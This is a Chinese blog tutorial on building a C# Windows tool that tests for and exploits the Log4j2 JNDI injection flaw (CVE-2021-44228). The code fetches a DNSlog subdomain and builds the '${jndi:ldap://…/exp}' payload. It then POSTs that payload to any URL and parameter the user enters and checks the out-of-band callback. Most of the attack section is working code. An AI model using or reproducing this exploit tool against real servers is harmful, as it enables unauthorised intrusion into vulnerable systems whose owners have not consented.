×

新闻动态 资料下载 源码审核

如何使用C sharp编写一个Log4j2 EXP漏洞验证工具

0x_www 0x_www 发表于2021-12-30 17:19:45 浏览522 评论0

抢沙发发表评论

如何使用C  sharp编写一个Log4j2 EXP漏洞验证工具           作者:0x80


漏洞编号:CVE-2021-44228漏洞等级:高危,该漏洞影响范围极广,危害极大。
漏洞描述:Apache log4j2的版本在 2.0 ~ 2.14.1之间时,存在JNDI注入漏洞
受影响的版本:Apache log4j的2.0 - 2.14.1版本均存在该漏洞。


编程工具的前提要知道几个知识点

就是Log4j2前提是要知道那个构造参数是前提

如ID=?

不然会报错

首先我们要找到一个dnslog的平台接口

如:https://log.咕.com/

捕获.PNG




点击get Sub就会自动生成一个可用的

那么我们这里先写一个生成的

用到httpwebquest

抛弃 webbrowser


捕获1.PNG



用一个richtextbox来接收

使用burp抓包请求结果,看他参数如何调用的

 string url = "https://log.xn--9tr.com/new_gen?domain=dns.1433.eu.org."; //先声明一个字符串URL,地址,这个每访问一次就会生成一个

 HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); 然后加载这个URL

  request.Method = "GET"; //get请求方法
   HttpWebResponse response = (HttpWebResponse)request.GetResponse();  //发送请求
    Stream stream = response.GetResponseStream(); //接收请求
    StreamReader reader = new StreamReader(stream, System.Text.Encoding.UTF8); //读取数据
    string s = reader.ReadToEnd();  //字符串S读取接收结果


捕获2.PNG


我们发现返回的数据是json格式,这里其实根本不需要正则了

这里用到一个Newtonsoft.Json.dll

我们直接取domain的数据就可以


引入

using Newtonsoft.Json.Linq;


写入

 JObject jobj = JObject.Parse(s);


捕获3.PNG





用一个richtext来接收


 richTextBox19.Text = "${jndi:ldap://0x." + jobj["domain"].ToString() + "/exp}";

格式是这样


我们执行后发现有"",我们需要"\"进行Replace

去重后,还是发现有一个.


捕获4.PNG






我们可以这样写


   richTextBox19.Text = richTextBox19.Text.Replace(".\"", "");

这样就可以了


然后我们

点击调试下

看看效果如何


捕获99.PNG


捕获88.PNG


我们发现已经搞定


前文参数是指你提前知道的payload参数

我们接下来,还要完成一件事

就是一键执行EXP功能


首先声明一个字符串

 String url = textBox41.Text;  //等于输入的IP域名

 HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url); 加载用户输入的URL

后面我们需要使用try{捕获异常


  req.Method = "POST"; //POST请求
  req.ContentType = "application/x-www-form-urlencoded";  //设置请求类别这个可以自定义
     String postid = textBox42.Text + "=" + richTextBox19.Text; ;  //变量POSTID就等于我们输入的内容+payload


StreamWriter ss = new StreamWriter(req.GetRequestStream());  //请求我们的postid =参数数据
       ss.Write(postid);
       ss.Flush();



接下来我们还需要做一件事情

就是接收返回结果


    HttpWebResponse response = (HttpWebResponse)req.GetResponse();

    Stream getStream = response.GetResponseStream();
    StreamReader streamreader = new StreamReader(getStream);

   用一个richtext去接收读到的数据

 richTextBox20.Text = streamreader.ReadToEnd();

 MessageBox.Show("EXP执行完毕,请查看结果");
 System.Diagnostics.Process.Start("https://log.咕.com/");

这里写一个打开网页,去查看接收的返回data

当然,这个地方,你可以写一个正则,取data的返回结果


捕获6.PNG

  richTextBox20.Visible = true;
    richTextBox19.Visible = true;

然后就写完了


我们实际需要测试下

这时候


QQ截图20211230180358.jpg


我们发现已经成功执行

payload就是我们请求参数

这时候需要注意一个问题

实际测试过程中

你们需要自己先发现参数

不然会404报错的

环境都会不同

这里写了一个案例...


少长咸集